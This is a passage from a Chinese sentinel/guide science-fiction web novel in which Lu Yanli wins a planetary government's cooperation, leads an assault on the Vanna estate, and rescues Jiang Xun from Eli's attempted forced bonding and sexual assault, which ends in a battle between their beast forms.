陆厌离眼神看向跟在那人身边的一名护卫，对方立时在中年男人身后推了一把，将他推到了陆厌离身边。 陆厌离指了指中年男人，向众人介绍道：“此人，就是我这几天追踪的结果。他是一位从凡纳家开设的病毒实验室中叛逃出来的中级研究员。” 陆厌离的介绍，立刻让所有人的目光都凝注在了中年男人身上。 这人明显没经历过什么大场面，一下子成为众人的焦点，窘得整个人都缩了起来，将近一米八的大个子，磨磨蹭蹭地缩在陆厌离身后，不敢抬头。 “叛逃出来的研究员？”典里密国的一位代表狐疑地看向此人。 “对，我们在调查‘转轮天平’枢纽站时，找到了一些蛛丝马迹，顺藤摸瓜才发现了这个从实验室中叛逃，正在遭遇追杀的研究员。救下他之后，此人向联盟安全部自首。现在，他正在我们的监督下将功补过。”陆厌离简单介绍了一下此人的来历。 “他真的来自凡纳家开办的病毒实验室吗？”发言人审视地观察着这个畏畏缩缩的男人，目露怀疑，“你们是怎么确定的？” “我们通过特殊渠道，确认过他的身份。他在自首之后，还交出过一份部分残缺的‘病毒原体基因序列图’，我们拿去愈灵殿中分析过，其结构与‘转轮天平’枢纽站‘投毒事件’中出现过的病毒，高度吻合。正是因为这份资料，愈灵殿才能快速研制出相应的特效药，解除了枢纽站发生的此次公共安全危机。” 说着，陆厌离又滑动光屏，将一份带着图例与说明的基因序列图展示在众人面前。 “我们就是从他口中得知，这个实验室背后站着的人，是凡纳家族。也是因为他，我们才知道，这个生化实验室总部，建设在M68星域之中。”陆厌离有理有据地说明道，“否则的话，联盟疆域辽阔，我们又怎么会精准地发现M68星域中的问题呢？十多年以来，连你们当地政府都没有发现此事，不是吗？” “这……”典里密国发言人面色阵青阵白。对方的话语让他感觉耻辱，可要反驳却又无从说起。 最重要的是，对方此番言论十分有说服力。 在今天之前，连他们自己都没有发现这个问题，如果不是真的掌握到了切实的线索，远在中央星的联盟安全部，又怎么会突然把目光聚焦到他们M68星域来，还一来就以雷霆之势出动舰队封锁星球呢？ 他们这般表现，正说明对方对于手里掌握的情报十分有信心。而现在，摆在他们面前的这么多真实的数据资料与研究分析报告，也在告诉他们，这件事很有可能是真的…… 可若是此事为真……负责人后背一寒，一层细密的冷汗从额际浸出。 而他的对面，陆厌离的话语仍在继续。 “这些死亡病例与疫情异常聚集的数据都是真实的，凡纳家族这么多年来异常的资金流动也是真实的。看看这些疫情事件，你们还没有明白吗？” “凡纳家族根本就不在乎你们星域中民众的死活。如果继续放任实验室存在下去，这个定时炸弹，不光对于你们M68星域有着致命的危险，更对整个联盟的和平稳定都是一个巨大的威胁。而你们，若是仍然要坚持维护他，必将成为毁灭M68星域的罪人！” 陆厌离的声音并不大，可每一句都像重锤一般，轰击在典里密国负责人的心头。 陆厌离看着他难看的脸色，乘胜追击：“我知道突然得知这个事实，对你们来说太过突然。一时之间难以接受是正常的。如果你们还是不相信我们的话，可以立刻回去，调取自己数据库中的数据存档，与我们的图表一一核对。我相信，到时候，你们会得到答案的。” 负责人死死盯着光屏上的数份资料，又抬头看了看那个中年男人，嘴唇翕动几下。 最终，一把抓过陆厌离连接在光脑上的数据储存器，看向蔚泽洋部长：“蔚部长，……我会将这些报告与资料带回去，交给我国专业人员，亲自进行……调查核实。” 沉默片刻，他又接着道：“那么，我们今天的会议就到这里吧。待我们核实清楚这些资料文件，再邀您共同商议后续事宜。” “好的，那我们静候贵国佳音。”蔚泽洋看出对方的送客之意，立刻起身，看了陆厌离一眼，转身，带着身后的下属们鱼贯离开议政厅，登上了自家舰艇。 舱门刚一关上，一直紧绷着脸的蔚泽洋就快步走向舰桥中央的指挥椅，长长呼出一口气，放松坐了下来。 看了看一路跟进来，面上仍是一副波澜不惊的陆厌离，忍不住发出一阵低沉而畅快的大笑。 他用力拍了拍陆厌离的肩膀：“好小子！这一手干得漂亮！” 此时，那位一直表现得畏缩惊恐的“叛逃研究员”，也站直了身体，面上露出与刚才完全不同的一副狡黠模样。 “陆少将准备得太充分，气势也太足了。我还以为会被诘问好久呢，还准备了好多台词，结果完全没用到。”这位被威尔逊将军推荐来的特殊军情人员一脸笑眯眯地跟着夸赞。 “哪里，辛苦了。”陆厌离此时也露出了笑模样，对着这位“叛逃研究员”点了点头。 “哈哈！你们都做得很好！我看这次，典里密国不仅不会再阻碍我们，可能还会成为我们这次行动中的盟友。这一手实在是妙！总之，之后要是能顺利营救出‘寻道者’的话，我回去给你们请功！”蔚泽洋大手一挥，爽快道。 又与蔚部长商议确定了后续可能的行动部署后，陆厌离谢绝对方共进晚餐的邀请，简单用营养膏填饱肚子，便回到了属于自己的独立舱室里。 这三天时间里，他一直马不停蹄地往来奔波，搜集资料。面临着来自多方的阻挠与压制，压力不可谓不大。 如今眼看局势开始好转，终于能稍稍放松下来。 今晚，他要好好休息，接下来恐怕还有一场硬仗要打。 躺在床上强迫自己收敛心神，快速入睡。可陆厌离却在此时无法控制地再次思念起江寻来。 自从上一次传递信息过后，江寻那边便再也没有任何消息传来。也不知伊莱发现被困之后，有没有怀疑到他，有没有对他不利。 在这搜集证据的三天里，陆厌离心中始终憋着一口气，只怕自己花费的时间太长，让江寻遭遇不测。 心中万般焦急，却无法可想，只希望这次行动的速度能更快一些，希望江寻能在这段时间里，保护好自己的生命安全，等到自己出现在他面前。 陆厌离抬手摸上藏在领口之下的铭牌。冰凉的黑色晶体，早已被体温暖热。在此刻，给了它的主人些微的慰藉。 陆厌离默默在心中念着： 江寻，再等等我，我马上就来。 第二天一大早，果然如陆厌离预计的那般，调查组指挥部再次收到了来自典里密国的会晤请求。 而这一次出现在众人面前的，不再是之前那位主管外交事务的国家发言人，而是M68星域执政方，典里密国最高行政首脑本人。 当这位头发花白的严肃老人，在一行护卫的随行下走进议政厅的时候，当即令所有人都惊讶了一瞬。 连蔚泽洋脸上都露出了意外的表情。 不过作为联盟安全部部长，他见过的各国首脑也不在少数，很快反应过来，带着所有人起身，以联盟最高礼仪，与大步前来的首相阁下互相见礼。 一番寒暄过后，众人才各自入座，准备进入今日的正题。 首相阁下面容沉肃，眉宇间笼罩着一层郁色，显见心情凝重。 蔚泽洋与坐在旁边的陆厌离交换了一个眼神。 昨天一天时间，显然已经足够让对方核实陆厌离提交上去的那份资料的真实性，意识到了潜藏在自家星域里的那道阴影。 如今的状况，已经攻守互易，蔚泽洋没有急着开口，等待着对方首先表态。 场中安静了片刻，而后，这位严肃的老人开了口：“蔚部长，陆少将。” 他的声音平缓，仿佛每说一句话都要在心中转几个来回，神情中也带着些许掩藏不住的疲惫。 “首先感谢二位，为了M68星域的安全所做出的努力。”老人郑重对着两人抚胸点头，“昨日，陆少将拿出的那些数据资料与相关报告，经过我方初步核查……确实与我方历史记录中记载的各种数据高度吻合。我们遗憾地发现，这个未知的‘生化实验室’，的确涉及重大公共安全风险。” 他略作停顿，仿佛在组织语言，话语出口时，已经变得格外坚定：“首先，我们想向二位致歉。的确是我们识人不明，才让这件事被掩盖了十年之久。相关的责任人，我们会在此次行动结束之后，深入调查。我保证，所有企图破坏联盟和平稳定的恐怖|分子，都会得到应有的制裁！” 这位老人掷地有声地表态。 “经过我方讨论，我们希望能在这次行动中，与联盟联合行动。共同应对此次潜在的生化威胁。”老人诚恳对蔚泽洋说道，“我们会提供必要的行政与军事支持，我们希望，能与联盟达成信息共享。并且，具体的行动方案，需要由我们共同商议制定。最后，如果在行动中，抓捕到了我国合法公民，我希望联盟能够将人交给我典里密国法律亲自审判。” “这是应有之义。”蔚部长果断点头应下，心中落定。 到此为止，双方正式进入合作阶段，两国负责军事行动的相关负责人，开始正式讨论具体的行动方案。这一刻，所有人都想立刻开始行动，将可能造成的危险降到最低。 具体的行动计划，昨天晚上的时候，陆厌离已经与蔚部长等人商议过，此时，便正式向对方提出了他们的核心诉求。 “基于本次行动可能存在的巨大风险，我方有以下几点要求，希望能与贵国达成共识。”陆厌离目光看向典里密国指定的，负责此次军事行动的行动队长，“第一，为了防止对方狗急跳墙，主动释放病毒或销毁证据。在整个行动过程中，我们需要继续维持对目标区域的全面封锁。” “这也是我方的想法。”行动队长立刻点头应允。 “第二，基于对敌人更加深入的了解以及行动顺利考虑，我方要求，此次联合行动中，须由我来担任行动组组长，掌握最高指挥权。” 这一次，行动队长没有立刻应下，而是看向坐在中间的老人。 首相阁下垂下眼来，面容严肃地思索片刻，这才缓缓点了点头：“可以，但是我方行动队长须保留监督建议的权力。如若你的命令会给我们典里密国带来巨大危害，我们有权拒绝执行任务。” “没问题，贵国行动队长，将担任此次行动的副组长，与我一起执行任务。我们也接受贵国的监督。”陆厌离一口应下。 首相阁下严肃的面色松弛下来，似乎到了此时，才确定联盟方确实没有对典里密国不利的想法。 “还有第三点，”陆厌离此时，将星图上D30星球的图标放大，“根据我们的调查结果，我们怀疑这座隐藏很深的生化实验室，就在这颗D30行星上。其中，由凡纳家族兴建的一座庄园是重点嫌疑区域。并且此刻，伊莱·凡纳应该也滞留在这座庄园之中。” “我们要求，这次行动，要将这座庄园作为首要行动区域，第一时间控制并搜查庄园，不能给对方趁机潜逃的机会。” 行动队长看向首相，看到对方确认的眼神，点了点头，“可以，第一目标区域就依你们所言。但是，如果真的像贵方所说，S级哨兵伊莱·凡纳也滞留在这座庄园里的话，我希望陆少将能亲自负责对于此人的抓捕行动。您知道，我们的常规部队，与S级哨兵的能力差距甚远，我不希望我们的士兵有无谓的牺牲。” “您放心，我就是为了此事而来，伊莱·凡纳，就交给我来对付。”陆厌离面色沉沉，眼眸中闪烁着熊熊战火。 接下来，双方又就详细的行动细节，进行了数个小时的紧张磋商，最终，一套完整的联合执法行动方案被确定出来。 一天后，D30号小行星附近星域中，骤然亮起无数幽蓝色静静燃烧的引擎焰光。 一支由联盟制式战舰与典里密国政府所属的巡逻舰队共同组成的混合编队，悍然出现在这颗已经不存在于联盟档案上的小行星外围空域。 没有留给星球的主人任何犹豫思考的时间，舰队在现身的第一时间，便向着布设于行星近地轨道上的第一道防线开启了攻击。 此次联合“防疫”突击行动，正式开始！ 第244章 伊莱端着已经凉透了的咖啡杯坐在窗边， 目光直直刺向堆云覆盖的天空。 良久，几乎凝固成雕像的人才动了动，侧过脸看向身后的劳伦斯：“已经三天了……” 劳伦斯沉默片刻， “大少爷，老爷那边一定已经在出力了，请您坚持住。” 伊莱安静下来，眼底却黑雾沸腾， 半晌从嘴角嗤出一声冷哼：“他真正做事的样子， 你还不清楚吗？恐怕是这阵子， 又有哪个从外面回来的讨了他的欢心，想换掉我了吧？” “……大少爷， 不会的，您是名正言顺的第一继承人，这是所有族老都认定的事， 即使是老爷……也无法轻易撼动您的地位。”劳伦斯宽慰道。 伊莱冷笑一声， 突然爆发。 “该死的，他们到底是怎么突然找到这里的？前一天明明还像一群无头苍蝇似的，一点儿调查方向都没有。到底是哪里泄露了消息？偏偏是在我登陆的时候把这里封锁了！”伊莱重重将手上的杯子摔在桌子上。贵重的薄胎古董杯当即四分五裂。 凉透了的咖啡液飞溅出去， 顺着桌面滴滴答答滑落， 在雪白的地毯上溅出一蓬苦涩的污痕。 伊莱的呼吸粗重， 对这种不得已的囚困极为愤怒。 劳伦斯暗叹一声， 心中也因这个未解之谜泛起阵阵不安。 “大少爷， 稍安勿躁。”劳伦斯再次劝慰道， “联盟那边应该也快到极限了。等他们顶不住中央星那边的压力， 解除封锁后，我们立刻前往其他星球。不论他们之前是怎么知道这里的，最后都只能无功而返。” 伊莱深呼吸几下， 在劳伦斯的安抚中平静下来。 “其他人都做好准备了吗？让亲卫队的人去监督着，不能在这里留下一分一毫江寻停留过的痕迹。这种时候，决不能再让对方获得一点儿证据，证明我们和绑架案有关系。” “大少爷放心，所有遗留的痕迹都已经被销毁了。各部门也准备好了，随时可以登船离开。” 伊莱的情绪稍稍平复下来，良久，又补充道：“让亲卫队的人全副武装，随时待命，防御武器也全部打开，随时监控着近地轨道上的动静。” 劳伦斯一惊，“大少爷，您是说……不会吧？这么短的时间里，他们不可能……” “滴——！” 话未说完，一声刺耳的警报声，响彻整个庄园。 劳伦斯骇然变色，“这……！” 伊莱也是面上一惊，快速打开监控屏幕。 下一秒，近地轨道处密布的监察器上传送过来的画面，立时映入眼帘。 十数艘庞大的巡逻舰艇组成的舰队，正从黑沉的宇宙空间中迎面袭来，领头的舰艇上，联盟军部的纹章银光闪耀。 数发蓝色能量束闪过，近地轨道的陨石碎片阵列中，燃起阵阵焰火，而后，数个小屏幕彻底暗了下去。 劳伦斯一贯平和稳重的脸上第一次出现了裂痕，难以置信地喃喃出声：“怎么可能！他们怎么敢……” 他无法理解，在他见过的无数次凡纳家参与的斗争中，过程无不是试探、博弈、利益交换，最后达成合作。 无论面对何种敌人，凡纳家总能将一切消弭于无形。偶有几个硬骨头，也会在最后阶段被处理掉，根本没有出现在他视线中的可能。 可这一次，联盟居然什么试探都没有，第一时间便悍然采取了军事行动！ 伊莱的视线一厉，不去深究其他，在看到联盟战舰出现的刹那，便按下了通讯器，声音急促地大声命令：“启动所有防空阵列单位，目标入侵舰群！给我把他们全都拦在大气层外！” 在他的命令下，被警报声震得惊慌失措的留守人员终于有了主心骨，立刻拿起枪械，扑向各自的工作岗位。 下一刻，轨道上遍布的防护卫星纷纷伸出炮口，移动间瞄准联盟-典里密国联合舰队，赤红的炮火无声飞射向舰队方向，在对方撑起的防护罩上炸出一片片毁灭的火光。 无声无息间，一场生死之战，在近地星域中倏然开启。 看着屏幕上舰队外层那道撑起的能量护罩，在炮火的轰击下漾起层层涟漪，伊莱的面色阴沉得能滴出水来。 连消耗巨大的能量罩都配备了，这绝不是一起试探性的、亦或临时起意的攻击，对方是真的准备开启战争，直接与他生死相争！ 伊莱的面色被光屏上不断炸开的火光映得明明暗暗。 他毫不怀疑，陆厌离一定就在这些舰队里。 而他，一定能突破这些火力封锁，走到自己面前！ 想到陆厌离那已然接近SS级的实力，想到他这么多年来经历过的所有战争与胸前的勋章，从未体会过的一种恐慌感漫上心头。 一抹狠厉浮上面庞，压下心头的阵阵波动。 伊莱在这一刻终于不再幻想，下定了决心。 “去把‘枷锁’拿来！”伊莱转身，对站在门边的一名护卫厉声下令，双眼中闪烁着凶戾的光芒，“立刻带到江寻那里去！” “伊莱少爷，您……！”劳伦斯倏然色变。 伊莱看他一眼，脸上现出破釜沉舟般的决绝。 事已至此，他只能牺牲掉江寻往后的可能性，将他强行绑定了。 只要完成绑定，对方就彻底和他生死攸关。就算是为了自身的生存，他也必会为自己提升能力。 在陆厌离突破防线之前，他必须让自己踏上SS级的台阶。 更重要的是，绑定无法撤销。一旦江寻真正被自己侵染，成为专属于自己的向导，即使他这一次失败被捕，为了保住这个珍贵的S级“寻道者”，联盟恐怕也会对他从轻发落，甚至主动出手清洗掉他身上的罪责。 他深深的明白，江寻就是他最后的保命符，他必须抢在陆厌离走到他面前之前，将这个保命符牢牢缝在自己身上。 “劳伦斯，现在开始，由你来暂代指挥，”伊莱动手快速地更改权限，将地面武器与亲卫队的指挥权，授权给面色发白的管家。 他转身上前一步，目光直直射入劳伦斯的眼眸，“给我镇定下来，不惜一切代价，给我拦住他们，懂了吗？” 一句话说完，他不再去管身后的一切，转身大踏步地走向自己的卧室。 凭着这些轨道武器与庄园内外的人手，应该能拖延一段时间，但绝不会太久。 他需要力量，需要护身符。而这一切，就在江寻身上！ * 庄园内警笛长鸣的瞬间，江寻的目光也倏然转向窗外。 从这个距离上，还什么都看不见，但他已经能猜到发生了什么。 他没有犹豫，迅速换上一身方便行动的衣装，紧贴在房门边，听着外面的动静。 他猜测，在混乱刚刚到来的时候，庄园内的防御体系应该会发生暂时的混乱，那个时候，就是他的机会。 透过门板，他听到最近几天一直守在他门外的两个护卫，似乎正快速地说着什么。随即，其中一人的脚步声匆匆离去。 待门后只剩下一人的呼吸，江寻深吸一口气，猛地拉开房门，在门边的护卫还没反应过来之前，迅速贴近，一手死死捂住他的嘴巴，另一手紧攥成拳，狠狠向他太阳穴敲去。 这种紧急关头，他丝毫没有留手，一声沉闷的重击声过后，这名护卫便靠着墙角软软倒了下去。 江寻心下安定一些，还好，即使过了这么久，他的身手还没有完全退化。 没有犹豫，他迅速脱下对方身上的战术背心，端起能量枪，便快步向着走廊尽头走去。 然而，还没等他穿过前方的丁字路口，就有一阵急促的脚步声隐隐传来。 走廊笔直，根本没有躲藏的地方，江寻心下一惊，迅速做出反应。然而，在这几秒钟的反应时间内，他只来得及贴靠上拐角处的墙壁，便与冲过路口的数个护卫狭路相逢。 下一瞬，数人的目光齐齐落在他身上。 枪口刚动，一阵“咔哒咔哒”的保险打开声立刻响起。 数支已然开始凝聚能量的枪口瞬间怼上了他的头颅。 江寻缓缓站直，慢慢举起双手，任由刚刚抢到还没捂热的能量枪，滑落地面。 待伊莱“砰”一声推门，略显急躁地快步走进房间时，看到的便是四肢被完全捆缚在床柱上的江寻。 一眼看到那件不该出现在他身上的战术背心，伊莱的目光猛然沉了下来。 “本来还想再给你一次机会的，看来是我多想了。”伊莱看着江寻的双眼，眸中的温度彻底抽离。 向着旁边一伸手，一个闪烁着金属幽光，其上弥漫强烈混乱波动的项圈，被卫兵放进伊莱手中。 不再说多余的废话，伊莱周身强大的哨兵精神力场猛地爆发开来。强大的威压，如有实质般狠狠砸在江寻身上，瞬间将他以及他周身弥漫的精神力压制在床上，不得寸进。 “咔哒”一声，项圈被伊莱打开，江寻眼睁睁地看着那个浑身散发出不详气息的黑色项圈，被伊莱以无可抵御的力道，紧紧锁上他的脖颈。 “伊莱！不……” 项圈合拢的瞬间，江寻眼前一花，脑中轰鸣乍起。 无数混乱波动紧贴着他脖子上的皮肤渗入体内。原本如臂指使的精神力瞬间一乱，像是一下子丢失了目标，在身体里开始乱窜。 江寻只觉经脉中传来一阵尖锐痛楚，随即，连思维也变得凝滞起来。 “我早就该这么做的……这是你逼我的。”伊莱眼中闪过疯狂的神色，对着身后的卫兵们挥了挥手。 在所有人鱼贯而出的时候，一只铁钳般的大手狠狠捏住江寻的下巴，将他的脸转了过来。 伊莱喘着粗气，在江寻失去焦距的目光中，缓缓低头靠近—— 作者有话说：好难写T_T继续努力写二更 第245章 独属于伊莱的天赋技能， 在小小的卧室中展开。 绝对掌控的领域中，属于江寻的精神力再次被强势压制。 空气中隐隐传来阵阵鹰啸，伊莱的眼中再无平日里那种面具一般的温文高贵， 被赤裸裸的占有与贪婪填满。 一双金色的雄壮翅膀虚影，猛地从伊莱脊背上刺出，巨大的双翼覆盖住了整个大床。 紧接着，虚影变得越来越凝实， 扇动间带起阵阵呼啸。最后， 这道虚影猛地向下一扇， 一只巨大的金雕从伊莱脊背上腾跃而起。 它的目光死死盯着被“枷锁”遏制住大部分精神力的江寻，像是在锁定自己的猎物。 而后， 金雕张开鸟喙，一道震颤灵魂的尖锐嘶鸣呼啸而出，贯穿江寻的脑海， 令他的思维刹那间一片空白。 就在这个间隙里， 金雕虚影猛地一个翻身，向着被禁锢住的江寻冲去，趁着他失去意识的短暂空隙， 悍然侵入他的精神世界！ 伊莱冷哼一声， 控制着自己的精神体在江寻的精神空间中横冲直撞。 既然江寻无论如何都不愿意为他所用， 他只能走这最差的一步——强行逼出江寻的精神体， 撕开他的精神核心， 直接用自己的精神力强行侵染他的精神本源， 完成那道不可逆转的强制绑定程序。 极度私密而脆弱的精神空间， 突遭暴力入侵，剧烈的痛苦袭上脑海，当即令江寻闷哼一声， 脸色瞬间惨白。 已至存亡之际，伊莱彻底撕破平和的伪装，江寻也完全舍弃了假意温顺的念头，死死咬住下唇，强忍着“枷锁”带来的巨大负面影响，调动起体内所有未被干扰混乱的精神力，狠狠撞向伊莱磅礴侵入的精神力洪流。 两股强大的力量，以江寻的精神空间作为战场，在其中剧烈地冲撞着。 匹配度极高，本应和谐共存的向哨精神力，如遇死敌般纠缠在一起凶狠厮杀。 江寻的精神力，已经在之前的相处中，与陆厌离有了初步融合的迹象，打上了一层浅浅的印记。 这种融合，令他的精神力从本质上发生转变，开始对除陆厌离之外的其他“外来者”产生排斥。 这种排斥降低了江寻与伊莱之间的匹配度，帮助他在受到压制的状态下，仍抵挡住了第一波最凶猛的入侵。 可同时，这种已经开始发生转变的精神力，也让伊莱精神力的入侵，给江寻带来了巨大的痛苦。 从未被其他哨兵踏足过的精神空间，如同被一道道利刃刮过，强行撕裂开来。 陌生而充满了侵略性的精神力，在他的精神空间中毫无顾忌地疯狂搅动，带来一阵阵剧烈的眩晕与难以忍受的疼痛。 抵挡住第一波攻势后，江寻的精神力便飞速虚弱下来。 强烈的不妙预感浮上心头，眼看着金雕再次重整旗鼓，第二波攻势即将再次降临，江寻紧咬牙关，心中不禁生出恼恨。 向导的精神力天然便比哨兵要强上一倍有余，若是在全盛时期，遭遇到这种纯精神力上的攻防战斗，自己一定会稳压伊莱一头。 可前几日为了给陆厌离传递信息，他刚刚消耗过一大部分精神力。没有陆厌离在身边，短时间内，他根本无法快速恢复过来。 再加上一部分的精神力被“枷锁”干扰，完全失控，此刻抵抗起对方的精神侵略来，竟然无比吃力。仅存的剩余精神力，在对方毫无顾忌的疯狂冲击下，摇摇欲坠。 伊莱双目一睁，感受到自己的第一波攻击竟然被抵抗住，暗叹S级向导精神力的强大之余，心中更添暴戾。 冷哼一声，眼中的疯狂更甚。竟然不再专注于精神空间中的争夺，欺上一步，伸手粗暴地抓向江寻的腰带。试图强行进行身体结合，以身体上的压制与侵夺，加强自身遏制江寻，用这种最原始的双重打击，彻底压垮江寻的精神防线，强行撕开他的精神核心，完成侵染！ 腰间倏然一紧，江寻猛地看向伊莱，瞬间明了他的意图。 “滚开！”喉间低吼出声，江寻勉力扯着被束缚住的双腿，不顾脚踝上传来的剧痛，狠狠向伊莱腹部顶去。 同时偏头躲过他凑近过来的面孔，抬起大臂，使劲向他脸上撞去。 这一波反抗爆发出的巨大力量，扯得捆缚住江寻的四脚床柱都传来一阵令人牙酸的吱呀声。 然而，就在此时，被扣在他脖颈上的“枷锁”，再次幽光一闪，一阵更加强大的干扰波动刺入他的大脑。 “啊——！”一声惨叫，动作也随之变形，江寻双眼发黑，猛地弓起身子，又重重跌落在床面上，四肢不受控制地剧烈颤抖起来。 “呵！”伊莱冷笑一声，轻易格开他的反击，手臂按住扣在他脖子上的“枷锁”，将他狠狠掼在床面上。 强大的力道扼住脖颈，强烈的窒息感与精神空间中的剧痛同时袭来，江寻在巨大的痛苦中双眼翻白，喉间嗬嗬作响，意识摇摇欲坠，仅剩的精神力构筑起的屏障，仿佛发出不堪重负的破碎声。 失去了所有耐心，伊莱面上现出一道毫无温度的冷笑，精神空间中，金雕扇动着双翅聚拢力量。现实中，他一把撕裂江寻的衣物，欺身而上，就要以双重的侵夺一举击破江寻的所有防御。 就在这千钧一发之际—— “轰——！” 一道巨大轰击从窗外骤然袭至，直直砸上卧室墙壁。 磅礴的爆发力，令窗户连同那周围的一片墙壁都被整个撕开，露出一个可怕的巨大空洞。 碎石与烟尘弥漫的光线中，一道黑影撕裂空气，闪电般疾冲而入。 他的影子竟比声音还要快上一分，冲到伊莱面前时，身后才传来一声巨大的空气爆鸣。 一双充斥着滔天杀意的碧绿眼眸穿过身周轰然燃起的蓝紫毒焰，直直刺向伊莱。 来人没有任何废话，周身瞬间爆发出恐怖的威压，指尖锋芒一闪，合身化为一柄尖锐利刃，狠狠刺向伊莱头颅。 此番攻势如飓风忽至，汹涌杀意如寒天降临，伊莱的动作刹时顿住，心神剧震之下，已然蓄势待发的最后一击，在最后关头，被硬生生打断！ “陆厌离！” 来自S级哨兵的本能在关键时刻救了伊莱一命。 在那利刃般的指甲划破额头的一瞬间，他猛地向后一倒，双腿屈膝在床尾狠狠一蹬，倒飞而出，躲过了致命一击。 倒飞出去的身影一路撞碎桌椅，“砰”一声砸在墙壁上，这才止住身形。 一股血流从额头划开的伤口中流溢而下，淌过鼻梁时，已然变作诡异的紫黑色，鼻尖闻到一股颓靡的甜腻味道。 伊莱脸色铁青，维持着防御姿态看向来人。 那轰出雷霆一击的人此时的注意力却已经从他身上挪开，关切看向躺在床上剧烈咳嗽的江寻。 一眼看到对方脖子上那道仍然闪烁着运转灯光的“枷锁”，如有实质的蓝紫烈焰再次轰然爆开，直指已从突袭中缓过神来的伊莱。 “你竟敢使用‘枷锁’？你要强制侵染他？！” 剧烈燃烧的焰火，将陆厌离整个人环绕其中，狂暴的怒火在这一刻彻底压倒他心中的担忧，向着始作俑者冲袭而去。 脚下地板如蛛网般碎裂，留下一声炸裂声响，陆厌离整个人再次化为一道闪电，直扑伊莱面门！ 短暂的距离在S级哨兵的全力奔袭下，近乎瞬移。 伊莱眼前一花，下一秒，一道拳风便已经触及面门。两个顶尖的S级哨兵，瞬间以最原始的方式，缠斗在了一起。 拳脚相加之间，频频引得空气爆鸣，不时砸落的身影、逸散而出的能量冲击波，将房间里的精致摆设震得粉碎。 伊莱提起十二分的注意力，全力应对着陆厌离狂风暴雨而来的攻击。 从小到大受到的精英教育，第一次应用在了现实中。可他很快发现，在这样纯粹而迅捷如风的近身格杀中，他学到的种种技巧都毫无用处。强大的精神力也完全跟不上双方的攻守之势。他只能凭借着强大的身体素质与来自本能的反应勉强跟上陆厌离的攻击频率。 陆厌离的每一击中，所蕴含着的来自十几年生死搏杀的战斗本能，压得伊莱只有招架之功，毫无反手之力。 对轰只持续了短短半分钟，伊莱已经被完全压制下去，脚下连连后退，身上频频挂彩。 “唳——！” 眼看自己就要在这一个照面的工夫里被击败，伊莱脸色剧变，不敢保留任何后招，长啸一声，金雕虚影浮现而出，瞬间与他合二为一，身形在一阵蠕动后骤然拔高。 一只翼展惊人的金色巨雕，出现在了陆厌离面前。《 》 245-250 第246章 金雕在陆厌离面前现出身形的同时， S级天赋技能——领域掌控，携着凡纳家族独特的霸道精神力轰然展开，将面前的陆厌离， 甚至两人身后已然神志昏沉的江寻一同笼罩了进去。 领域范围内，技能效果当即生效，伊莱的五感瞬间再次被提升一个台阶，面前对手每一个细微的肌肉震颤， 每一个发力动向， 在这领域的笼罩范围内， 都如扫描一般尽入伊莱眼中。敏锐的感知，甚至让空中细微的精神力流动都纤毫毕现。 而同处于领域范围内的陆厌离， 则明显感到周身一沉，眼前耳中所能感知到的世界，瞬间像是糊上了一层泥沙， 模糊而凝滞起来。 可陆厌离此时却顾不上去在意自身被削弱的事实， 只因领域扩张的瞬间，将躺在他身后床上的江寻也一同笼罩了进去。 本就被“枷锁”锁住了大部分精神力，又在伊莱刚才的强制侵染中消耗巨大的人， 在两人战斗期间， 一直在岌岌可危地勉力支撑着脆弱的精神壁障。 此时突然被殃及池鱼， 领域生效的瞬间， 体内能够调动的精神力再下一个台阶。当即一声痛呼， 精神屏障立时崩碎半边， 由脖子上的“枷锁”释放出来的强力干扰， 如铁凿般在他的脑海中再次戳出一个窟窿。 刹那间，江寻眼前一黑，足足有几秒钟时间彻底失去了意识。 眼看着江寻的糟糕状况， 陆厌离急怒攻心，只想马上解决面前的敌人，再无任何顾忌，悍然释放出体内所有的精神力。 蓝紫烈焰再添助力，登时喷薄而出，如爆炸一般瞬间占据整个房间的所有角落，海量的精神力甚至让这毒焰几乎要从空气中具现而出。 “吼——！” 一声几乎震碎玻璃的巨大狮吼从火焰正中心传出，被缭绕焰流包裹其中的人影，在一阵扭曲过后，暴涨数米。 下一刻，烟灰色的庞然大物猛地从焰心中纵跃而出，森然獠牙寒光毕现，携着每一缕鬃毛上都在熊熊燃烧的蓝紫毒焰，便向面前的金色巨雕咬去。 金雕神色剧变，压根不敢去接灰狮的爪牙，长啸一声就要飞起。 可他们如今处于室内，即使伊莱的庄园建造时极尽奢华，又丝毫不用考虑占地面积，可挑高也只有六米左右。 他们本就是两个庞然大物，困在这么小的空间中，根本无法拉开距离。 灰狮一个纵跃，就将未及逃离的金雕猛然扑击下来。 伊莱眼看着墙壁上透入阳光的大洞近在咫尺，却被灰狮缠住，不得脱身，根本无法发挥出自己的优势。 愤怒焦躁之下，兽性上涌，就这样凭借着尖喙利爪与灰狮如最最普通的野兽一般搏斗起来。 灰狮一个撕扯，在惨嚎中撕下金雕脖颈上大块血肉，毒火翻涌，顺着鲜血淋漓的伤口便侵蚀进去。 金雕以急速不断闪避俯冲，利爪撕裂空气，尖啸着划破狮身皮毛，留下四道深可见骨的巨大伤口。 两大S级哨兵的生死搏杀激烈无比，摒弃了所有技巧，如两只失去理智的史前巨兽一般拼死搏斗。 独属于双方的毒系精神力与王道领域凶猛碰撞着，连空间都仿佛要被这两股庞然伟力撕裂开来。 逸散而出的精神力乱流将房间的墙壁屋顶，撕开道道裂痕，室内昂贵的家具地毯尽数在激烈的战斗中化为齑粉。 跟随着陆厌离登陆而来的军部士兵们，原本还与驻守在卧室门外的守卫们战斗着。 这会儿，也已经完全无法靠近这个房间，双方默契地且战且退，远离了这座小楼。偶尔余光穿过房间墙壁上巨大的空洞，瞟到室内场景，便为这天灾般的战斗场景暗自惊叹。 最顶级的强者真正战斗起来，其实花费不了多长时间。任何一次失误或犹疑都可能令局势骤然变化。 伊莱虽然与陆厌离同为S级哨兵，可他从出生起就养尊处优，精神力总量虽被海量的资源堆砌出来，可质量远不及陆厌离凝练深厚。战斗经验上，两人更是天差地别。 在陆厌离悍不畏死，以伤换伤的猛烈攻击下，越发显得他的攻势畏首畏尾，领域也开始不稳地颤动。 更重要的是，作为凡纳家族精心培养，板上钉钉的第一继承人，伊莱远比从小挣扎在尸山血海中的陆厌离，更加珍惜自己的性命。 那股子被愤怒激起的兽性渐渐褪去之后，人性带来的种种权衡便慢慢从心底萌生。 再加上，随着时间的延续，陆厌离攻击中带着的精神毒素，开始渐渐发挥作用，伊莱的动作不可遏制地迟滞下来。 贪生带来的退意，让他的攻势不自觉地变得更加保守和犹豫。 而他的这份犹疑，马上便被对于战斗分外敏锐的陆厌离看在了眼里。 立刻，他的招式越发凌厉而不留退路。 此消彼长之下，局势很快就向着一方无可逆转地倾斜下去。 